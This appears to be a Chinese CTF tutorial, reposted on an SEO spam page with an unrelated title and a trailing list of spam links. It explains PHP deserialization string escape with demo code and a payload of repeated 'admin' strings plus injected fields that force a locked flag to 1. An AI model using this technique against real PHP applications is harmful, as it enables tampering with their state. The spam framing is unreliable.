当前位置: 首页 > news >正文

凡科网站建设平台好么凡科网

凡科网站建设平台好么,凡科网,动漫培训,蚌埠企业做网站前言 最近在打西电的新生赛&#xff0c;有道反序列化的题卡了很久&#xff0c;今天在NSS上刷题的时候突然想到做法&#xff0c;就是利用字符串逃逸去改变题目锁死的值&#xff0c;从而实现绕过 为了研究反序列化的字符串逃逸 我们先简单的测试下 原理 <?php class escape…

前言

最近在打西电的新生赛,有道反序列化的题卡了很久,今天在NSS上刷题的时候突然想到做法,就是利用字符串逃逸去改变题目锁死的值,从而实现绕过

为了研究反序列化的字符串逃逸
我们先简单的测试下

原理

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
$a=new escape('admin','123456');
echo serialize($a);
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

假设我们增加一个检测函数,去替换我们序列化之后的值,则

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('admin','123456');
$a_filter = filter(serialize($a));
echo $a_filter;
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

我们比对下这两串输出结果

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

可以发现下面那一串的hacker的长度与实际长度不匹配
假设当$flag=1时回显flag,由于题目是改不了的,那么我们就可以利用字符串逃逸来实现

目标字符串

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}

我们可以把";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}写入到name的值里面,然后通过admin替换hacker的长度差值与之相等即可

我们先写入name里,然后计算下长度为44+5

O:6:"escape":3:{s:4:"name";s:49:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

由于我们要挤掉后面长度为44的字符串,构造44*admin
payload

O:6:"escape":3:{s:4:"name";s:49:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

即实例化上传的为

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('adminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}','123456');$a_filter = filter(serialize($a));
$a_filter_unseri = unserialize($a_filter);
var_dump($a_filter_unseri);

我们可以看到flag的值变为1,成功绕过
在这里插入图片描述

http://www.zhongyajixie.com/news/25314.html

相关文章:

  • 缙云网站建设搜索引擎优化的内容
  • 凡客诚品助农是真的吗保定seo博客
  • 网站建设网站制作需要多少钱深圳网络优化seo
  • 做展柜平时在哪里网站推广东莞seo搜索
  • 镇江网站开发公司建立一个网站需要多少钱?
  • 河北省疫情防控最新政策网络优化是干什么的
  • 北京建委安全员c证百度seo软件首选帝搜软件
  • 如何使用框架来建设网站小网站关键词搜什么
  • 视频号怎么经营seo快速排名培训
  • 樟木头网站做seo要投入什么
  • 网站建设项目背景广州百度关键词推广
  • wordpress 禁止缩略图网站seo如何优化
  • wordpress文章分享seo研究协会网app
  • 检测公司宣传册设计样本武汉百度快照优化排名
  • 图片交易网站源码软件制作
  • logo制作在线生成器长沙网站托管优化
  • 灯塔网站建设南京最大网站建设公司
  • 旅游b2b网站开发巨量数据分析入口
  • 网站建设考核指标男生短期培训就业
  • 上海网站建设渠道多用户建站平台
  • 网站弹出咨询这个怎么做国内手机搜索引擎十大排行
  • 有关中国文明网联盟网站建设活动方案刚刚地震最新消息今天
  • wordpress导航站模板最新热点新闻事件
  • 简单5步_制作wordpress留言板手机优化软件排名
  • 网络服务器在哪个国家网络营销就是seo正确吗
  • 怎么给网站命名广东省人大常委会
  • 广东党员两学一做考试网站北京效果好的网站推广
  • 巩义做网站推广郑州技术支持seo
  • 网站做程序需要多久杭州网络优化公司排名
  • 怎么查询网站是哪家公司做的营销推广网